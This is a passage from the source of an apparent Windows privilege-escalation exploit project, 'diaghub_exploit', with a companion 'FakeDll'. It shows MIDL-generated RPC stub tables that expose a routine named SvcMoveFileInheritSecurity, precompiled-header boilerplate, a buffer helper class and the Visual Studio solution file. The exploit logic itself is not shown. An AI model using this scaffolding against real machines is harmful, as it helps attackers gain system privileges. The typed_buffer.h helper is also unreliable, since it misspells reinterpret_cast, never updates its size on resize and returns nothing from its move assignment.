3108 | 0, 3109 | 0, 3110 | (NDR64_UINT16) 0 /* 0x0 */, 3111 | 0 3112 | }, /* [out], IsReturn, Basetype, ByValue */ 3113 | (NDR64_UINT16) 0 /* 0x0 */, 3114 | 40 /* 0x28 */, /* Stack offset */ 3115 | } 3116 | }; 3117 | 3118 | static const __midl_frag44_t __midl_frag44 = 3119 | { 3120 | /* Proc8 */ 3121 | { 3122 | /* Proc8 */ /* procedure Proc8 */ 3123 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 3124 | (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ 3125 | (NDR64_UINT32) 16 /* 0x10 */, 3126 | (NDR64_UINT32) 8 /* 0x8 */, 3127 | (NDR64_UINT16) 0 /* 0x0 */, 3128 | (NDR64_UINT16) 0 /* 0x0 */, 3129 | (NDR64_UINT16) 3 /* 0x3 */, 3130 | (NDR64_UINT16) 8 /* 0x8 */ 3131 | }, 3132 | { 3133 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3134 | { 3135 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3136 | 0x72, /* FC64_BIND_PRIMITIVE */ 3137 | (NDR64_UINT8) 0 /* 0x0 */, 3138 | 0 /* 0x0 */, /* Stack offset */ 3139 | (NDR64_UINT8) 0 /* 0x0 */, 3140 | (NDR64_UINT8) 0 /* 0x0 */ 3141 | }, 3142 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3143 | }, 3144 | { 3145 | /* arg_1 */ /* parameter arg_1 */ 3146 | &__midl_frag113, 3147 | { 3148 | /* arg_1 */ 3149 | 0, 3150 | 0, 3151 | 0, 3152 | 1, 3153 | 0, 3154 | 0, 3155 | 1, 3156 | 1, 3157 | 0, 3158 | 0, 3159 | 0, 3160 | 0, 3161 | 0, 3162 | (NDR64_UINT16) 0 /* 0x0 */, 3163 | 0 3164 | }, /* [in], Basetype, ByValue */ 3165 | (NDR64_UINT16) 0 /* 0x0 */, 3166 | 8 /* 0x8 */, /* Stack offset */ 3167 | }, 3168 | { 3169 | /* arg_2 */ /* parameter arg_2 */ 3170 | &__midl_frag113, 3171 | { 3172 | /* arg_2 */ 3173 | 0, 3174 | 0, 3175 | 0, 3176 | 1, 3177 | 0, 3178 | 0, 3179 | 1, 3180 | 1, 3181 | 0, 3182 | 0, 3183 | 0, 3184 | 0, 3185 | 0, 3186 | (NDR64_UINT16) 0 /* 0x0 */, 3187 | 0 3188 | }, /* [in], Basetype, ByValue */ 3189 | (NDR64_UINT16) 0 /* 0x0 */, 3190 | 16 /* 0x10 */, /* Stack offset */ 3191 | }, 3192 | { 3193 | /* long */ /* parameter long */ 3194 | &__midl_frag113, 3195 | { 3196 | /* long */ 3197 | 0, 3198 | 0, 3199 | 0, 3200 | 0, 3201 | 1, 3202 | 1, 3203 | 1, 3204 | 1, 3205 | 0, 3206 | 0, 3207 | 0, 3208 | 0, 3209 | 0, 3210 | (NDR64_UINT16) 0 /* 0x0 */, 3211 | 0 3212 | }, /* [out], IsReturn, Basetype, ByValue */ 3213 | (NDR64_UINT16) 0 /* 0x0 */, 3214 | 24 /* 0x18 */, /* Stack offset */ 3215 | } 3216 | }; 3217 | 3218 | static const __midl_frag35_t __midl_frag35 = 3219 | { 3220 | /* Proc6 */ 3221 | { 3222 | /* Proc6 */ /* procedure Proc6 */ 3223 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 3224 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ 3225 | (NDR64_UINT32) 24 /* 0x18 */, 3226 | (NDR64_UINT32) 8 /* 0x8 */, 3227 | (NDR64_UINT16) 0 /* 0x0 */, 3228 | (NDR64_UINT16) 0 /* 0x0 */, 3229 | (NDR64_UINT16) 4 /* 0x4 */, 3230 | (NDR64_UINT16) 8 /* 0x8 */ 3231 | }, 3232 | { 3233 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3234 | { 3235 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3236 | 0x72, /* FC64_BIND_PRIMITIVE */ 3237 | (NDR64_UINT8) 0 /* 0x0 */, 3238 | 0 /* 0x0 */, /* Stack offset */ 3239 | (NDR64_UINT8) 0 /* 0x0 */, 3240 | (NDR64_UINT8) 0 /* 0x0 */ 3241 | }, 3242 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3243 | }, 3244 | { 3245 | /* arg_1 */ /* parameter arg_1 */ 3246 | &__midl_frag113, 3247 | { 3248 | /* arg_1 */ 3249 | 0, 3250 | 0, 3251 | 0, 3252 | 1, 3253 | 0, 3254 | 0, 3255 | 1, 3256 | 1, 3257 | 0, 3258 | 0, 3259 | 0, 3260 | 0, 3261 | 0, 3262 | (NDR64_UINT16) 0 /* 0x0 */, 3263 | 0 3264 | }, /* [in], Basetype, ByValue */ 3265 | (NDR64_UINT16) 0 /* 0x0 */, 3266 | 8 /* 0x8 */, /* Stack offset */ 3267 | }, 3268 | { 3269 | /* arg_2 */ /* parameter arg_2 */ 3270 | &__midl_frag113, 3271 | { 3272 | /* arg_2 */ 3273 | 0, 3274 | 0, 3275 | 0, 3276 | 1, 3277 | 0, 3278 | 0, 3279 | 1, 3280 | 1, 3281 | 0, 3282 | 0, 3283 | 0, 3284 | 0, 3285 | 0, 3286 | (NDR64_UINT16) 0 /* 0x0 */, 3287 | 0 3288 | }, /* [in], Basetype, ByValue */ 3289 | (NDR64_UINT16) 0 /* 0x0 */, 3290 | 16 /* 0x10 */, /* Stack offset */ 3291 | }, 3292 | { 3293 | /* arg_3 */ /* parameter arg_3 */ 3294 | &__midl_frag113, 3295 | { 3296 | /* arg_3 */ 3297 | 0, 3298 | 0, 3299 | 0, 3300 | 1, 3301 | 0, 3302 | 0, 3303 | 1, 3304 | 1, 3305 | 0, 3306 | 0, 3307 | 0, 3308 | 0, 3309 | 0, 3310 | (NDR64_UINT16) 0 /* 0x0 */, 3311 | 0 3312 | }, /* [in], Basetype, ByValue */ 3313 | (NDR64_UINT16) 0 /* 0x0 */, 3314 | 24 /* 0x18 */, /* Stack offset */ 3315 | }, 3316 | { 3317 | /* long */ /* parameter long */ 3318 | &__midl_frag113, 3319 | { 3320 | /* long */ 3321 | 0, 3322 | 0, 3323 | 0, 3324 | 0, 3325 | 1, 3326 | 1, 3327 | 1, 3328 | 1, 3329 | 0, 3330 | 0, 3331 | 0, 3332 | 0, 3333 | 0, 3334 | (NDR64_UINT16) 0 /* 0x0 */, 3335 | 0 3336 | }, /* [out], IsReturn, Basetype, ByValue */ 3337 | (NDR64_UINT16) 0 /* 0x0 */, 3338 | 32 /* 0x20 */, /* Stack offset */ 3339 | } 3340 | }; 3341 | 3342 | static const __midl_frag33_t __midl_frag33 = 3343 | { 3344 | /* Struct_76_t */ 3345 | { 3346 | /* Struct_76_t */ 3347 | 0x30, /* FC64_STRUCT */ 3348 | (NDR64_UINT8) 3 /* 0x3 */, 3349 | { 3350 | /* Struct_76_t */ 3351 | 0, 3352 | 0, 3353 | 0, 3354 | 0, 3355 | 0, 3356 | 0, 3357 | 0, 3358 | 0 3359 | }, 3360 | (NDR64_UINT8) 0 /* 0x0 */, 3361 | (NDR64_UINT32) 8 /* 0x8 */ 3362 | } 3363 | }; 3364 | 3365 | static const __midl_frag32_t __midl_frag32 = 3366 | { 3367 | /* *Struct_76_t */ 3368 | 0x20, /* FC64_RP */ 3369 | (NDR64_UINT8) 4 /* 0x4 */, 3370 | (NDR64_UINT16) 0 /* 0x0 */, 3371 | &__midl_frag33 3372 | }; 3373 | 3374 | static const __midl_frag28_t __midl_frag28 = 3375 | { 3376 | /* Proc5 */ 3377 | { 3378 | /* Proc5 */ /* procedure Proc5 */ 3379 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 3380 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ 3381 | (NDR64_UINT32) 20 /* 0x14 */, 3382 | (NDR64_UINT32) 72 /* 0x48 */, 3383 | (NDR64_UINT16) 0 /* 0x0 */, 3384 | (NDR64_UINT16) 0 /* 0x0 */, 3385 | (NDR64_UINT16) 5 /* 0x5 */, 3386 | (NDR64_UINT16) 8 /* 0x8 */ 3387 | }, 3388 | { 3389 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3390 | { 3391 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3392 | 0x72, /* FC64_BIND_PRIMITIVE */ 3393 | (NDR64_UINT8) 0 /* 0x0 */, 3394 | 0 /* 0x0 */, /* Stack offset */ 3395 | (NDR64_UINT8) 0 /* 0x0 */, 3396 | (NDR64_UINT8) 0 /* 0x0 */ 3397 | }, 3398 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3399 | }, 3400 | { 3401 | /* arg_1 */ /* parameter arg_1 */ 3402 | &__midl_frag105, 3403 | { 3404 | /* arg_1 */ 3405 | 0, 3406 | 0, 3407 | 0, 3408 | 1, 3409 | 0, 3410 | 0, 3411 | 1, 3412 | 1, 3413 | 0, 3414 | 0, 3415 | 0, 3416 | 0, 3417 | 0, 3418 | (NDR64_UINT16) 0 /* 0x0 */, 3419 | 0 3420 | }, /* [in], Basetype, ByValue */ 3421 | (NDR64_UINT16) 0 /* 0x0 */, 3422 | 8 /* 0x8 */, /* Stack offset */ 3423 | }, 3424 | { 3425 | /* arg_2 */ /* parameter arg_2 */ 3426 | &__midl_frag105, 3427 | { 3428 | /* arg_2 */ 3429 | 0, 3430 | 0, 3431 | 0, 3432 | 1, 3433 | 0, 3434 | 0, 3435 | 1, 3436 | 1, 3437 | 0, 3438 | 0, 3439 | 0, 3440 | 0, 3441 | 0, 3442 | (NDR64_UINT16) 0 /* 0x0 */, 3443 | 0 3444 | }, /* [in], Basetype, ByValue */ 3445 | (NDR64_UINT16) 0 /* 0x0 */, 3446 | 16 /* 0x10 */, /* Stack offset */ 3447 | }, 3448 | { 3449 | /* arg_3 */ /* parameter arg_3 */ 3450 | &__midl_frag113, 3451 | { 3452 | /* arg_3 */ 3453 | 0, 3454 | 0, 3455 | 0, 3456 | 1, 3457 | 0, 3458 | 0, 3459 | 1, 3460 | 1, 3461 | 0, 3462 | 0, 3463 | 0, 3464 | 0, 3465 | 0, 3466 | (NDR64_UINT16) 0 /* 0x0 */, 3467 | 0 3468 | }, /* [in], Basetype, ByValue */ 3469 | (NDR64_UINT16) 0 /* 0x0 */, 3470 | 24 /* 0x18 */, /* Stack offset */ 3471 | }, 3472 | { 3473 | /* arg_4 */ /* parameter arg_4 */ 3474 | &__midl_frag33, 3475 | { 3476 | /* arg_4 */ 3477 | 0, 3478 | 1, 3479 | 0, 3480 | 0, 3481 | 1, 3482 | 0, 3483 | 0, 3484 | 0, 3485 | 1, 3486 | 0, 3487 | 0, 3488 | 0, 3489 | 0, 3490 | (NDR64_UINT16) 0 /* 0x0 */, 3491 | 1 3492 | }, /* MustFree, [out], SimpleRef, UseCache */ 3493 | (NDR64_UINT16) 0 /* 0x0 */, 3494 | 32 /* 0x20 */, /* Stack offset */ 3495 | }, 3496 | { 3497 | /* long */ /* parameter long */ 3498 | &__midl_frag113, 3499 | { 3500 | /* long */ 3501 | 0, 3502 | 0, 3503 | 0, 3504 | 0, 3505 | 1, 3506 | 1, 3507 | 1, 3508 | 1, 3509 | 0, 3510 | 0, 3511 | 0, 3512 | 0, 3513 | 0, 3514 | (NDR64_UINT16) 0 /* 0x0 */, 3515 | 0 3516 | }, /* [out], IsReturn, Basetype, ByValue */ 3517 | (NDR64_UINT16) 0 /* 0x0 */, 3518 | 40 /* 0x28 */, /* Stack offset */ 3519 | } 3520 | }; 3521 | 3522 | static const __midl_frag26_t __midl_frag26 = 3523 | { 3524 | /* Struct_34_t */ 3525 | { 3526 | /* Struct_34_t */ 3527 | 0x30, /* FC64_STRUCT */ 3528 | (NDR64_UINT8) 7 /* 0x7 */, 3529 | { 3530 | /* Struct_34_t */ 3531 | 0, 3532 | 0, 3533 | 0, 3534 | 0, 3535 | 0, 3536 | 0, 3537 | 0, 3538 | 0 3539 | }, 3540 | (NDR64_UINT8) 0 /* 0x0 */, 3541 | (NDR64_UINT32) 1096 /* 0x448 */ 3542 | } 3543 | }; 3544 | 3545 | static const __midl_frag25_t __midl_frag25 = 3546 | { 3547 | /* *Struct_34_t */ 3548 | 0x20, /* FC64_RP */ 3549 | (NDR64_UINT8) 0 /* 0x0 */, 3550 | (NDR64_UINT16) 0 /* 0x0 */, 3551 | &__midl_frag26 3552 | }; 3553 | 3554 | static const __midl_frag22_t __midl_frag22 = 3555 | { 3556 | /* Proc4 */ 3557 | { 3558 | /* Proc4 */ /* procedure Proc4 */ 3559 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 3560 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ 3561 | (NDR64_UINT32) 1198 /* 0x4ae */, 3562 | (NDR64_UINT32) 1192 /* 0x4a8 */, 3563 | (NDR64_UINT16) 0 /* 0x0 */, 3564 | (NDR64_UINT16) 0 /* 0x0 */, 3565 | (NDR64_UINT16) 4 /* 0x4 */, 3566 | (NDR64_UINT16) 8 /* 0x8 */ 3567 | }, 3568 | { 3569 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3570 | { 3571 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3572 | 0x72, /* FC64_BIND_PRIMITIVE */ 3573 | (NDR64_UINT8) 0 /* 0x0 */, 3574 | 0 /* 0x0 */, /* Stack offset */ 3575 | (NDR64_UINT8) 0 /* 0x0 */, 3576 | (NDR64_UINT8) 0 /* 0x0 */ 3577 | }, 3578 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3579 | }, 3580 | { 3581 | /* arg_1 */ /* parameter arg_1 */ 3582 | &__midl_frag105, 3583 | { 3584 | /* arg_1 */ 3585 | 0, 3586 | 0, 3587 | 0, 3588 | 1, 3589 | 0, 3590 | 0, 3591 | 1, 3592 | 1, 3593 | 0, 3594 | 0, 3595 | 0, 3596 | 0, 3597 | 0, 3598 | (NDR64_UINT16) 0 /* 0x0 */, 3599 | 0 3600 | }, /* [in], Basetype, ByValue */ 3601 | (NDR64_UINT16) 0 /* 0x0 */, 3602 | 8 /* 0x8 */, /* Stack offset */ 3603 | }, 3604 | { 3605 | /* arg_2 */ /* parameter arg_2 */ 3606 | &__midl_frag113, 3607 | { 3608 | /* arg_2 */ 3609 | 0, 3610 | 0, 3611 | 0, 3612 | 1, 3613 | 0, 3614 | 0, 3615 | 1, 3616 | 1, 3617 | 0, 3618 | 0, 3619 | 0, 3620 | 0, 3621 | 0, 3622 | (NDR64_UINT16) 0 /* 0x0 */, 3623 | 0 3624 | }, /* [in], Basetype, ByValue */ 3625 | (NDR64_UINT16) 0 /* 0x0 */, 3626 | 16 /* 0x10 */, /* Stack offset */ 3627 | }, 3628 | { 3629 | /* arg_3 */ /* parameter arg_3 */ 3630 | &__midl_frag26, 3631 | { 3632 | /* arg_3 */ 3633 | 0, 3634 | 1, 3635 | 0, 3636 | 1, 3637 | 1, 3638 | 0, 3639 | 0, 3640 | 0, 3641 | 1, 3642 | 0, 3643 | 0, 3644 | 0, 3645 | 0, 3646 | (NDR64_UINT16) 0 /* 0x0 */, 3647 | 0 3648 | }, /* MustFree, [in], [out], SimpleRef */ 3649 | (NDR64_UINT16) 0 /* 0x0 */, 3650 | 24 /* 0x18 */, /* Stack offset */ 3651 | }, 3652 | { 3653 | /* long */ /* parameter long */ 3654 | &__midl_frag113, 3655 | { 3656 | /* long */ 3657 | 0, 3658 | 0, 3659 | 0, 3660 | 0, 3661 | 1, 3662 | 1, 3663 | 1, 3664 | 1, 3665 | 0, 3666 | 0, 3667 | 0, 3668 | 0, 3669 | 0, 3670 | (NDR64_UINT16) 0 /* 0x0 */, 3671 | 0 3672 | }, /* [out], IsReturn, Basetype, ByValue */ 3673 | (NDR64_UINT16) 0 /* 0x0 */, 3674 | 32 /* 0x20 */, /* Stack offset */ 3675 | } 3676 | }; 3677 | 3678 | static const __midl_frag12_t __midl_frag12 = 3679 | { 3680 | /* Proc2 */ 3681 | { 3682 | /* Proc2 */ /* procedure Proc2 */ 3683 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 3684 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ 3685 | (NDR64_UINT32) 22 /* 0x16 */, 3686 | (NDR64_UINT32) 8 /* 0x8 */, 3687 | (NDR64_UINT16) 0 /* 0x0 */, 3688 | (NDR64_UINT16) 0 /* 0x0 */, 3689 | (NDR64_UINT16) 4 /* 0x4 */, 3690 | (NDR64_UINT16) 8 /* 0x8 */ 3691 | }, 3692 | { 3693 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3694 | { 3695 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3696 | 0x72, /* FC64_BIND_PRIMITIVE */ 3697 | (NDR64_UINT8) 0 /* 0x0 */, 3698 | 0 /* 0x0 */, /* Stack offset */ 3699 | (NDR64_UINT8) 0 /* 0x0 */, 3700 | (NDR64_UINT8) 0 /* 0x0 */ 3701 | }, 3702 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3703 | }, 3704 | { 3705 | /* arg_1 */ /* parameter arg_1 */ 3706 | &__midl_frag105, 3707 | { 3708 | /* arg_1 */ 3709 | 0, 3710 | 0, 3711 | 0, 3712 | 1, 3713 | 0, 3714 | 0, 3715 | 1, 3716 | 1, 3717 | 0, 3718 | 0, 3719 | 0, 3720 | 0, 3721 | 0, 3722 | (NDR64_UINT16) 0 /* 0x0 */, 3723 | 0 3724 | }, /* [in], Basetype, ByValue */ 3725 | (NDR64_UINT16) 0 /* 0x0 */, 3726 | 8 /* 0x8 */, /* Stack offset */ 3727 | }, 3728 | { 3729 | /* arg_2 */ /* parameter arg_2 */ 3730 | &__midl_frag113, 3731 | { 3732 | /* arg_2 */ 3733 | 0, 3734 | 0, 3735 | 0, 3736 | 1, 3737 | 0, 3738 | 0, 3739 | 1, 3740 | 1, 3741 | 0, 3742 | 0, 3743 | 0, 3744 | 0, 3745 | 0, 3746 | (NDR64_UINT16) 0 /* 0x0 */, 3747 | 0 3748 | }, /* [in], Basetype, ByValue */ 3749 | (NDR64_UINT16) 0 /* 0x0 */, 3750 | 16 /* 0x10 */, /* Stack offset */ 3751 | }, 3752 | { 3753 | /* arg_3 */ /* parameter arg_3 */ 3754 | &__midl_frag113, 3755 | { 3756 | /* arg_3 */ 3757 | 0, 3758 | 0, 3759 | 0, 3760 | 1, 3761 | 0, 3762 | 0, 3763 | 1, 3764 | 1, 3765 | 0, 3766 | 0, 3767 | 0, 3768 | 0, 3769 | 0, 3770 | (NDR64_UINT16) 0 /* 0x0 */, 3771 | 0 3772 | }, /* [in], Basetype, ByValue */ 3773 | (NDR64_UINT16) 0 /* 0x0 */, 3774 | 24 /* 0x18 */, /* Stack offset */ 3775 | }, 3776 | { 3777 | /* long */ /* parameter long */ 3778 | &__midl_frag113, 3779 | { 3780 | /* long */ 3781 | 0, 3782 | 0, 3783 | 0, 3784 | 0, 3785 | 1, 3786 | 1, 3787 | 1, 3788 | 1, 3789 | 0, 3790 | 0, 3791 | 0, 3792 | 0, 3793 | 0, 3794 | (NDR64_UINT16) 0 /* 0x0 */, 3795 | 0 3796 | }, /* [out], IsReturn, Basetype, ByValue */ 3797 | (NDR64_UINT16) 0 /* 0x0 */, 3798 | 32 /* 0x20 */, /* Stack offset */ 3799 | } 3800 | }; 3801 | 3802 | static const __midl_frag1_t __midl_frag1 = 3803 | (NDR64_UINT32) 0 /* 0x0 */; 3804 | 3805 | 3806 | #include "poppack.h" 3807 | 3808 | 3809 | static const FormatInfoRef DefaultIfName_Ndr64ProcTable[] = 3810 | { 3811 | &__midl_frag12, 3812 | &__midl_frag12, 3813 | &__midl_frag12, 3814 | &__midl_frag92, 3815 | &__midl_frag22, 3816 | &__midl_frag28, 3817 | &__midl_frag35, 3818 | &__midl_frag44, 3819 | &__midl_frag44, 3820 | &__midl_frag88, 3821 | &__midl_frag52, 3822 | &__midl_frag59, 3823 | &__midl_frag65, 3824 | &__midl_frag88, 3825 | &__midl_frag73, 3826 | &__midl_frag80, 3827 | &__midl_frag86, 3828 | &__midl_frag88, 3829 | &__midl_frag92, 3830 | &__midl_frag97, 3831 | &__midl_frag104, 3832 | &__midl_frag110 3833 | }; 3834 | 3835 | 3836 | static const MIDL_STUB_DESC DefaultIfName_StubDesc = 3837 | { 3838 | (void *)& DefaultIfName___RpcServerInterface, 3839 | MIDL_user_allocate, 3840 | MIDL_user_free, 3841 | 0, 3842 | 0, 3843 | 0, 3844 | 0, 3845 | 0, 3846 | rpc__MIDL_TypeFormatString.Format, 3847 | 1, /* -error bounds_check flag */ 3848 | 0x60001, /* Ndr library version */ 3849 | 0, 3850 | 0x801026e, /* MIDL Version 8.1.622 */ 3851 | 0, 3852 | 0, 3853 | 0, /* notify & notify_flag routine table */ 3854 | 0x2000001, /* MIDL flag */ 3855 | 0, /* cs routines */ 3856 | (void *)& DefaultIfName_ServerInfo, /* proxy/server info */ 3857 | 0 3858 | }; 3859 | 3860 | static const RPC_DISPATCH_FUNCTION DefaultIfName_NDR64__table[] = 3861 | { 3862 | NdrServerCallAll, 3863 | NdrServerCallAll, 3864 | NdrServerCallAll, 3865 | NdrServerCallAll, 3866 | NdrServerCallAll, 3867 | NdrServerCallAll, 3868 | NdrServerCallAll, 3869 | NdrServerCallAll, 3870 | NdrServerCallAll, 3871 | NdrServerCallAll, 3872 | NdrServerCallAll, 3873 | NdrServerCallAll, 3874 | NdrServerCallAll, 3875 | NdrServerCallAll, 3876 | NdrServerCallAll, 3877 | NdrServerCallAll, 3878 | NdrServerCallAll, 3879 | NdrServerCallAll, 3880 | NdrServerCallAll, 3881 | NdrServerCallAll, 3882 | NdrServerCallAll, 3883 | NdrServerCallAll, 3884 | 0 3885 | }; 3886 | static const RPC_DISPATCH_TABLE DefaultIfName_NDR64__v0_0_DispatchTable = 3887 | { 3888 | 22, 3889 | (RPC_DISPATCH_FUNCTION*)DefaultIfName_NDR64__table 3890 | }; 3891 | 3892 | static const MIDL_SYNTAX_INFO DefaultIfName_SyntaxInfo [ 2 ] = 3893 | { 3894 | { 3895 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, 3896 | (RPC_DISPATCH_TABLE*)&DefaultIfName_v0_0_DispatchTable, 3897 | rpc__MIDL_ProcFormatString.Format, 3898 | DefaultIfName_FormatStringOffsetTable, 3899 | rpc__MIDL_TypeFormatString.Format, 3900 | 0, 3901 | 0, 3902 | 0 3903 | } 3904 | ,{ 3905 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}, 3906 | (RPC_DISPATCH_TABLE*)&DefaultIfName_NDR64__v0_0_DispatchTable, 3907 | 0 , 3908 | (unsigned short *) DefaultIfName_Ndr64ProcTable, 3909 | 0, 3910 | 0, 3911 | 0, 3912 | 0 3913 | } 3914 | }; 3915 | 3916 | 3917 | static const SERVER_ROUTINE DefaultIfName_ServerRoutineTable[] = 3918 | { 3919 | (SERVER_ROUTINE)Proc0, 3920 | (SERVER_ROUTINE)Proc1, 3921 | (SERVER_ROUTINE)Proc2, 3922 | (SERVER_ROUTINE)Proc3, 3923 | (SERVER_ROUTINE)Proc4, 3924 | (SERVER_ROUTINE)Proc5, 3925 | (SERVER_ROUTINE)Proc6, 3926 | (SERVER_ROUTINE)Proc7, 3927 | (SERVER_ROUTINE)Proc8, 3928 | (SERVER_ROUTINE)Proc9, 3929 | (SERVER_ROUTINE)Proc10, 3930 | (SERVER_ROUTINE)Proc11, 3931 | (SERVER_ROUTINE)Proc12, 3932 | (SERVER_ROUTINE)Proc13, 3933 | (SERVER_ROUTINE)SvcMoveFileInheritSecurity, 3934 | (SERVER_ROUTINE)Proc15, 3935 | (SERVER_ROUTINE)Proc16, 3936 | (SERVER_ROUTINE)Proc17, 3937 | (SERVER_ROUTINE)Proc18, 3938 | (SERVER_ROUTINE)Proc19, 3939 | (SERVER_ROUTINE)Proc20, 3940 | (SERVER_ROUTINE)Proc21 3941 | }; 3942 | 3943 | static const MIDL_SERVER_INFO DefaultIfName_ServerInfo = 3944 | { 3945 | &DefaultIfName_StubDesc, 3946 | DefaultIfName_ServerRoutineTable, 3947 | rpc__MIDL_ProcFormatString.Format, 3948 | (unsigned short *) DefaultIfName_FormatStringOffsetTable, 3949 | 0, 3950 | (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax, 3951 | 2, 3952 | (MIDL_SYNTAX_INFO*)DefaultIfName_SyntaxInfo 3953 | }; 3954 | #if _MSC_VER >= 1200 3955 | #pragma warning(pop) 3956 | #endif 3957 | 3958 | 3959 | #endif /* defined(_M_AMD64)*/ 3960 | 3961 | -------------------------------------------------------------------------------- /diaghub_exploit/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // $safeprojectname$.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /diaghub_exploit/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #define RPC_USE_NATIVE_WCHAR 11 | 12 | #include 13 | #include 14 | //#include 15 | #include 16 | -------------------------------------------------------------------------------- /diaghub_exploit/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /diaghub_exploit/typed_buffer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | template 7 | class typed_buffer_ptr { 8 | std::unique_ptr buffer_; 9 | size_t size_; 10 | 11 | public: 12 | typed_buffer_ptr() { 13 | } 14 | 15 | explicit typed_buffer_ptr(size_t size) { 16 | reset(size); 17 | } 18 | 19 | void reset(size_t size) { 20 | buffer_.reset(new char[size]); 21 | memset(buffer_.get(), 0, size); 22 | size_ = size; 23 | } 24 | 25 | void resize(size_t size) { 26 | std::unique_ptr tmp(new char[size]); 27 | 28 | memcpy(tmp.get(), buffer_.get(), min(size, size_)); 29 | 30 | buffer_ = std::move(tmp); 31 | } 32 | 33 | operator T*() { 34 | return reinterpret_cast(buffer_.get()); 35 | } 36 | 37 | operator const T*() const { 38 | return cget(); 39 | } 40 | 41 | T* operator->() const { 42 | return reinterpret_cast(buffer_.get()); 43 | } 44 | 45 | const T* cget() const { 46 | return interpret_cast(buffer_.get()); 47 | } 48 | 49 | typed_buffer_ptr(const typed_buffer_ptr& other) = delete; 50 | typed_buffer_ptr& typed_buffer_ptr::operator=(const typed_buffer_ptr& other) = delete; 51 | 52 | typed_buffer_ptr(typed_buffer_ptr&& other) { 53 | buffer_ = std::move(other.buffer_); 54 | size_ = other.size_; 55 | other.size_ = 0; 56 | } 57 | 58 | typed_buffer_ptr& operator=(typed_buffer_ptr&& other) { 59 | if (this != &other) 60 | { 61 | buffer_ = std::move(other.buffer_); 62 | size_ = other.size_; 63 | other.size_ = 0; 64 | } 65 | } 66 | 67 | size_t size() const { 68 | return size_; 69 | } 70 | }; -------------------------------------------------------------------------------- /diaghubexploit.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26730.8 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "diaghub_exploit", "diaghub_exploit\diaghub_exploit.vcxproj", "{E75DCF6C-9B6D-49C8-96D7-0003C127B449}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FakeDll", "FakeDll\FakeDll.vcxproj", "{510160D0-966C-4382-8A59-C6306C8624A7}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x64.ActiveCfg = Debug|x64 19 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x64.Build.0 = Debug|x64 20 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x86.ActiveCfg = Debug|Win32 21 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Debug|x86.Build.0 = Debug|Win32 22 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x64.ActiveCfg = Release|x64 23 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x64.Build.0 = Release|x64 24 | 